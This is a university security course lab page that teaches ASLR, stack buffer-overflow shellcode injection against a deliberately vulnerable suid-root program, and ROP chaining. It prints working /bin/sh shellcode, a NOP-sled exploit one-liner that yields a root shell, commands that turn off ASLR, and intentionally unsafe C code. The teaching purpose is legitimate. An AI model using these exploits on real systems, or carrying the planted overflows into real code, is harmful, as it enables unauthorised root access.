Lab 07 - Operating System Security

Objectives

- Linux Protection Mechanisms (ASLR)
- Return-oriented programming (ROPs)
- Exploit mitigation

ASLR

Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries. In short, when ASLR is turned on, the addresses of the stack, etc will be randomized. This causes a lot of difficulty in predicting addresses while exploiting.

To disable ASLR:

```
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

To enable ASLR:

```
$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```

Shellcode Injection

Scenario:

You have access to a system with an executable binary that is owned by root, has the suid bit set, and is vulnerable to buffer overflow. This section will show you step by step how to exploit it to gain shell access.

00. Setup

Install again `libc6-dev-i386` + `gcc-multilib` packages:

```
$ sudo apt install libc6-dev-i386 gcc-multilib
```

Also install the PwnDbg plugin:

```
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
```

Create `vuln.c` in the home directory for `student` user, containing the following code:

```
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

void func(char *name)
{
    char buf[100];
    strcpy(buf, name);
    printf("Welcome %s\n", buf);
}

int main(int argc, char *argv[])
{
    setreuid(geteuid(), geteuid());
    func(argv[1]);
    return 0;
}
```

Compile it:

```
$ gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack
```

* **-fno-stack-protector** - disable the stack protection * **-m32** - make sure that the compiled binary is 32 bit * **-z execstack** - makes the stack executable

Set the suid bit and owner to root:

```
$ sudo chown root:root vuln
$ sudo chmod 555 vuln
$ sudo chmod u+s vuln
```

Turn off ASLR and remain as `student`.

01. Finding a vulnerability

Disassemble using objdump in order to analyze the program:

```
$ objdump -d -M intel vuln
```

Looking at the disassembly of `func`, it can be observed that `buf` lies at `ebp - 0x6c`. Hence, 108 bytes are allocated for `buf` in the stack, the next 4 bytes would be the saved `ebp` pointer of the previous stack frame, and the next 4 bytes will be the return address.

What happens if the program receives as argument a buffer containing 116 As?

```
$ ./vuln $(python3 -c 'print (116 * "A")')
```

Use `gdb` to discover the address where the program is crashing. What do you observe? Why is this happening?

02. Crafting Shellcode

We will create a shellcode that spawns a shell. First create shellcode.S with the following code:

```
BITS 32

xor     eax, eax    ;Clearing eax register
push    eax         ;Pushing NULL bytes
push    0x68732f2f  ;Pushing //sh
push    0x6e69622f  ;Pushing /bin
mov     ebx, esp    ;ebx now has address of /bin//sh
push    eax         ;Pushing NULL byte
mov     edx, esp    ;edx now has address of NULL byte
push    ebx         ;Pushing address of /bin//sh
mov     ecx, esp    ;ecx now has address of address
                    ;of /bin//sh byte
mov     al, 11      ;syscall number of execve is 11
int     0x80        ;Make the system call
```

Install nasm and compile shellcode using it:

```
# skip the ELF headers with `-f bin`
# this is _exactly_ the payload that you want
$ nasm -f bin -o shellcode.o shellcode.S
```

Verify with objdump that we got the right payload.

```
$ objdump -b binary -m i386 -M intel -D shellcode.o
```

Extracting the bytes gives us the shellcode:

```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x8
```

03. Finding a possible place to inject shellcode

In this example `buf` seems to be the perfect place to inject the shellcode above. We can insert the shellcode by passing it inside the first parameter while running `vuln`. But how do we know what address `buf` will be loaded in stack? That's where `gdb` will help us. As ASLR is disabled we are sure that no matter how many times the binary is run, the address of `buf` will not change.

Run `vuln` using `gdb`:

```
vampire@linux:/home/student$ gdb -q vuln
Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) break func
Breakpoint 1 at 0x8048456
(gdb) run $(python3 -c 'print ("A"*116)')
Starting program: /home/student/vuln $(python3 -c 'print ("A"*116)')

Breakpoint 1, 0x08048456 in func ()
(gdb) print $ebp
$1 = (void *) 0xffffce78
(gdb) print $ebp - 0x6c
$2 = (void *) 0xffffce0c
```

The above commands set a breakpoint at the `func` function and the start the binary with a payload of length ~~116~~ (**note: this is not** the real offset of the saved EIP register, you'll need to find it on your own!) as the argument. Printing the address `ebp - 0x6c` shows that `buf` was located at `0xffffce0c`. However this need not be the address of `buf` when we run the program outside of `gdb`. This is because things like environment variables and the name of the program along with arguments are also pushed on the stack. Although the stack starts at the same address (because of ASLR disabled), the difference in the method of running the program will result in the difference of the address of `buf`. This difference will be around a few bytes, but we will later demonstrate how to take care of it.

Note: The length of the payload will have an effect on the location of `buf` as the payload itself is also pushed on the stack (it is part of the arguments). In this example, we are using one of length ~~116~~, you'll need to preserve the offset of the saved EIP register you found earlier.

04. Transfering execution flow of the program to the inserted shellcode

This is the easiest part. We have the shellcode in memory and know its address (with an error of a few bytes). We have already found out that `vuln` is vulnerable to buffer overflow and we can modify the return address for function `func`.

05. Crafting payload

Let's insert the shellcode at the end of the argument string so its address is equal to the address of buf + some length. Here's our shellcode:

```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x8
```

Length of shellcode = 25 bytes

We also discovered that return address starts after the first 112 bytes of `buf`.

We'll fill the first 40 bytes with NOP instructions, constructing a NOP Sled.

NOP Sled is a sequence of NOP (no-operation) instructions meant to "slide" the CPU's instruction execution flow to its final, desired, destination whenever the program branches to a memory address anywhere on the sled. Basically, whenever the CPU sees a NOP instruction, it slides down to the next instruction.

The reason for inserting a NOP sled before the shellcode is that now we can transfer execution flow to anyplace within these 40 bytes. The processor will keep on executing the NOP instructions until it finds the shellcode. We need not know the exact address of the shellcode. This takes care of the earlier mentioned problem of not knowing the address of buf exactly.

We will make the processor jump to the address of `buf` (taken from gdb's output) + 20 bytes to get somewhere in the middle of the NOP sled.

```
0xffffce0c + 20 = 0xffffce20
```

We can fill the rest 47 (112 - 25 - 40) bytes with random data, say the 'A' character.

Final payload structure:

```
[40 bytes of NOP - sled] [25 bytes of shellcode] [47 times ‘A’ will occupy 49 bytes] [4 bytes point
```

06. Running the exploit

```
$ ./vuln $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*40 + b"\x31\xc0\x50\x68\x2f\x2f\
Welcome ��������������������������������������������j
                                    X�Rhn/shh//bi��RS��AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# whoami
root
```

Congratulations! You've got root access.

> In case of segmentation fault, try changing the return address by +- 40 a few times.
>
> If it still won't work, the easiest solution is to dump the stack address from the program:
>
> ```
> // insert this at the beginning of `func`:
> printf("Stack addr: %04X\n", &buf);
> ```
>
> For the exploit to work, you will need to set root permissions as before, after you compiled the script.
>
> Note that this trick may seem artificial but, in real-world exploits, if the attacker can convince the program to print its stack (e.g., from an error handler), then he can easily calculate the relevant address offsets.

07. What if we enable ASLR?

Try to enable ASLR and re-run the exploit. What happens?

08. [Bonus] Pwntools scripts

If you want have a cleaner way to exploit binaries you can use a python script with pwntools package.

See on this link how to install pwntools package (be patient, the installation might take some minutes :)).

Here is a sample solution you can complete to get to the same result as above. You will need to disable ASLR again.

For python2:

And for python3:

Summary

To summarize, we overflowed the buffer and modified the return address to point near the start of the buffer in the stack. The buffer itself started with a NOP sled followed by shellcode which got executed. The atack was successful only with ASLR turned off, as the start of the stack wasn't randomized each time the program was executed. This enabled us to first run the program in gdb to know the address of buffer.

Return-oriented programming (ROP)

09. Chaining functions

We got the following vulerable code:

```
#include <stdio.h>

void surprise(int b){
    if (b == 0x87654321) {
        puts("SURPRISE\n");
        system("/bin/sh");
    } else {
        puts("Surprise found, but the arg is not the right one!");
    }
}

void secret(int a){
    if (a == 0x12345678) {
                puts("Nice! Now, can you find the surprise?\n");
        } else {
                puts("Secret accessed, but the arg is not the right one!");
        }
}

void run(){
    char buf[32];

    printf("Tell me your name: ");
    fflush(stdout);
    fgets(buf, 128, stdin);
    printf("Hello, %s\n", buf);

}

int main(){
    run();
    return 0;
}
```

And to compile it we use:

```
$ gcc rop.c -o vuln32 -fno-stack-protector -m32 -g -no-pie
```

What we want to achieve is to call the secret() function first and then the surprise() function in a way that they don't interfere with each other. The problem is that these functions require some arguments. So how can we do it, given that the stack is full of other garbage?

We use ROPs. In order to chain multiple function calls we need to arrange the stack to be fit for our next function. For this we need to artificially clean the stack. We can do this by searching for a useful set of instruction pointers with ROPgadget (we'll get to that later).

> In our particular example, we suppose we accessed the secret function and we want to jump to the next one so we need to eliminate the argument of the secret function from the top of the stack.

In other words we need to pop the arg and then jump to the next function. We can search for a "pop <?any>; ret" set of instructions. This is called a ROP gadget (install the package on VM using this link - **note**: skip python3-pip installation as it is already installed). We can find what is available in our program running:

```
$ ROPgadget --binary vuln32
Gadgets information
============================================================
0x0804917a : adc al, 0x68 ; sub al, 0xc0 ; add al, 8 ; call eax
0x080491c6 : adc byte ptr [eax + 0x68], dl ; sub al, 0xc0 ; add al, 8 ; call edx
0x0804926c : adc byte ptr [eax - 0x3603a275], dl ; ret
...
0x0804926f : pop ebp ; cld ; leave ; ret
0x080493c3 : pop ebp ; ret                                  <===    //we look for sets like this
0x080493c0 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08049022 : pop ebx ; ret                                  <===    //or like this
0x080493c2 : pop edi ; pop ebp ; ret
0x080493c1 : pop esi ; pop edi ; pop ebp ; ret
...
...
```

This (code pointer to) rop gadget needs to be placed in the return address of the previous function (because it is executable) so that it cleans or place the arguments and finally jump to the next piece. In this way we can consider our payload as a chain containing:

```
<padding until first return addr> + <chain> + <chain> + ...
```

And a chain piece would look like:

```
<address_of_function> + <ROP gadget> + <arg> + <arg> ...
```

> Again, the goal of ROP should be clean the stack and the 'ret' should drop on the adress of the next chain piece or next code pointer that we want to access. This is called a ROP chain.

> **Be careful** not to close `stdin`, it will be required to input commands inside the exploited `/bin/sh` (called by `surprise' ')! You can keep the input open after also sending stdin from python by using the following `cat'' + shell redirection trick:
>
> ```
> cat <(python3 -c 'print("your exploit...")') - | ./vuln
> ```

Here is a pwn script to help you with this! (use python3)

10. [Bonus] same as above but for 64 bit binary

Recompile rop.c prog:

```
$ gcc rop.c -o vuln64 -fno-stack-protector -no-pie
```

And here is the script to help you:

11. [10p] Feedback

Please take a minute to fill in the feedback form for this lab.

Search

Lectures
- Lecture 01 - Introduction
- Lecture 02 - Cryptography
- Lecture 03 - Hardware Security
- Lecture 04 - Access Control
- Lecture 05 - Authentication and Key Establishment
- Lecture 06 - Application Security
- Lecture 07 - Operating System Security
- Lecture 08 - Network Security
- Lecture 09 - Web Security
- Lecture 10 - Privacy Preserving Technologies
- Lecture 11 - Forensics

Labs
- kernel
- Lab 01 - Introduction
- Lab 02 - Cryptography
- Lab 03 - Authentication and Key Establishment Lab
- Lab 03 - Hardware Security
- Lab 04 - Access control
- Lab 05 - Authentication in Linux
- Lab 06 - Application Security
- Lab 07 - Operating System Security
- Lab 08 - Network Security
- Lab 09 - Web Security
- Lab 10 - Forensics
- Lab 11 - Privacy Technologies
- Lab 12 - Security and Machine Learning

Support
- Useful resources
- Virtual Machine

Table of Contents

isc/labs/07.txt · Last modified: 2023/11/22 09:26 by alexandru.ghita2611